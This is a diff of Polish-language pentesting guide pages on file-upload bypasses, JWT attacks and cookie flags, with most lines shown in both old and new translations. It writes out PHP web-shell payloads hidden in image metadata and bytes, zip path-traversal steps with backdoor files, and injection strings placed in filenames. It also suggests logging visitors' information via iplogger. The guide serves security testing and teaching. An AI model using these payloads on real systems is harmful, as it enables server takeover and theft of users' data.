6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod):
|
||||
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem\*\* _**.php**_**, ale** niekoniecznie kończące się na .php\*\* wykona kod):
|
||||
* _ex: file.php.png_
|
||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
|
||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
|
||||
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -78,19 +78,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Obejście kontroli Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
|
||||
### Obejście Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
|
||||
|
||||
* Obejście kontroli **Content-Type** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Lista słów kluczowych **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Obejście kontroli **Content-Type** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Obejście kontroli **magic number** poprzez dodanie na początku pliku **bajtów prawdziwego obrazu** (zmylenie komendy _file_). Lub wprowadzenie powłoki do **metadanych**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Inne sztuczki do sprawdzenia
|
||||
|
@ -98,7 +98,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* Znajdź lukę, aby **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie).
|
||||
* Znajdź lukę **Local File Inclusion**, aby wykonać backdoora.
|
||||
* **Możliwe ujawnienie informacji**:
|
||||
1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
|
||||
1. Prześlij **wielokrotnie** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie**
|
||||
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
|
||||
3. Przesyłanie pliku o **nazwie** **“.”, “..”, lub “…”**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
|
||||
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
|
||||
|
@ -106,7 +106,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw**, takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod**, gdy zostanie przypadkowo otwarty przez ofiarę.
|
||||
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
### Sztuczki ze specjalnymi rozszerzeniami
|
||||
|
||||
Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
@ -152,7 +152,7 @@ Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W
|
|||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\
|
||||
Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||||
Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni** nazwę pliku na **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -186,13 +186,13 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
|
|||
* Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
|
||||
* Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
|
||||
* Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
|
||||
* Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięcia poleceń tutaj](../command-injection.md))
|
||||
* Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
|
||||
* [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* [Słynna **vulnerabilność ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Jeśli możesz **wskazać serwer WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
|
||||
* [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
|
||||
|
@ -216,7 +216,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https:
|
|||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
|
||||
## Magic Header Bytes
|
||||
## Magiczne bajty nagłówka
|
||||
|
||||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG**: `"\xff\xd8\xff"`
|
||||
|
@ -246,9 +246,9 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
|
||||
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
|
||||
|
||||
Poniżej znajduje się przykład kodu Pythona używanego do stworzenia złośliwego pliku zip:
|
||||
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -285,7 +285,7 @@ system($cmd);
|
|||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
|
||||
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przechodzić między katalogami.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -304,9 +304,9 @@ pop graphic-context
|
|||
```
|
||||
## Osadzanie powłoki PHP w PNG
|
||||
|
||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
|
||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje jest znaczną zaletą w niektórych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Kodowanie powłok internetowych w kawałkach PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Kodowanie powłok webowych w kawałkach IDAT PNG"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -320,7 +320,7 @@ Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przyk
|
|||
|
||||
Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## Odniesienia
|
||||
## Odnośniki
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
@ -329,7 +329,7 @@ Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -15,13 +15,13 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Część tego wpisu opiera się na świetnym artykule:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Część tego wpisu opiera się na świetnym poście:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Autor wspaniałego narzędzia do pentestowania JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Quick Wins**
|
||||
|
@ -113,11 +113,11 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Przegląd problemów z Kid
|
||||
|
||||
Opcjonalne roszczenie nagłówka znane jako `kid` jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, w których istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
|
||||
Opcjonalne roszczenie nagłówka znane jako `kid` jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
|
||||
|
||||
#### Ujawnianie klucza przez "kid"
|
||||
|
||||
Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwera.
|
||||
Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwisu.
|
||||
|
||||
#### Przechodzenie po ścieżkach z "kid"
|
||||
|
||||
|
@ -169,7 +169,7 @@ print("e:", hex(key.e))
|
|||
|
||||
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym używanym do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Bezpieczeństwo transportu jest wymagane do przesyłania certyfikatów.
|
||||
|
||||
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku **możesz zmanipulować JWT**.
|
||||
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku **możesz manipulować JWT**.
|
||||
|
||||
Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
|
||||
```bash
|
||||
|
@ -246,7 +246,7 @@ Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (00
|
|||
|
||||
**Ataki Relay między usługami**
|
||||
|
||||
Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
|
||||
Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy jest akceptowany.
|
||||
|
||||
* Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie pozwala na podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest konieczna, ponieważ może to wprowadzać w szare obszary prawne.
|
||||
|
||||
|
@ -260,7 +260,7 @@ Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -25,15 +25,15 @@ Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei a
|
|||
|
||||
### Domain
|
||||
|
||||
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest on ustawiony na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Atrybut `Path` wskazuje konkretną ścieżkę URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
|
||||
Specyficzna ścieżka URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany, jest wskazana przez atrybut `Path`. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
Gdy dwa ciasteczka mają tę samą nazwę, wybór ciasteczka do wysłania opiera się na:
|
||||
Gdy dwa ciasteczka mają tę samą nazwę, to, które zostanie wybrane do wysłania, opiera się na:
|
||||
|
||||
* Ciasteczku pasującym do najdłuższej ścieżki w żądanym URL.
|
||||
* Najnowszym ustawionym ciasteczku, jeśli ścieżki są identyczne.
|
||||
|
@ -60,20 +60,20 @@ Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów mo
|
|||
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
|
||||
Ciasteczko z atrybutem _**SameSite**_ **łagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
|
||||
|
||||
**\*Zauważ, że od Chrome80 (lut/2019) domyślne zachowanie ciasteczka bez atrybutu ciasteczka same-site** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
**\*Zauważ, że od Chrome80 (lut/2019) domyślne zachowanie ciasteczka bez atrybutu cookie samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą** **traktowane jako None** przez **pierwsze 2 minuty, a następnie jako Lax dla głównych żądań POST między witrynami.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **JavaScript**: `document.cookie`)
|
||||
To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
* Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), można wykorzystać XSS, aby wysłać żądanie do tej strony i **ukraść ciasteczka** z odpowiedzi (sprawdź przykład w [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Można to obejść za pomocą **żądań TRACE** **HTTP**, ponieważ odpowiedź z serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Cross-Site Tracking**.
|
||||
* Ta technika jest unika przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak w niektórych oprogramowaniach znaleziono obejścia, takie jak wysyłanie `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
* Ta technika jest unikaną przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak niektóre obejścia tego zostały znalezione w konkretnym oprogramowaniu, na przykład wysyłając `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
* Innym sposobem jest wykorzystanie luk zero-day w przeglądarkach.
|
||||
* Możliwe jest **nadpisanie ciasteczek HttpOnly** poprzez przeprowadzenie ataku Cookie Jar overflow:
|
||||
|
||||
|
@ -85,7 +85,7 @@ To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **JavaScrip
|
|||
|
||||
### Secure
|
||||
|
||||
Żądanie **wyśle** ciasteczko tylko w żądaniu HTTP, jeśli żądanie jest przesyłane przez bezpieczny kanał (zazwyczaj **HTTPS**).
|
||||
Żądanie **wyśle** ciasteczko tylko w żądaniu HTTP, jeśli żądanie jest przesyłane przez bezpieczny kanał (zwykle **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
|
@ -102,13 +102,13 @@ Ważne jest, aby zauważyć, że ciasteczka z prefiksem `__Host-` nie mogą być
|
|||
|
||||
### Overwriting cookies
|
||||
|
||||
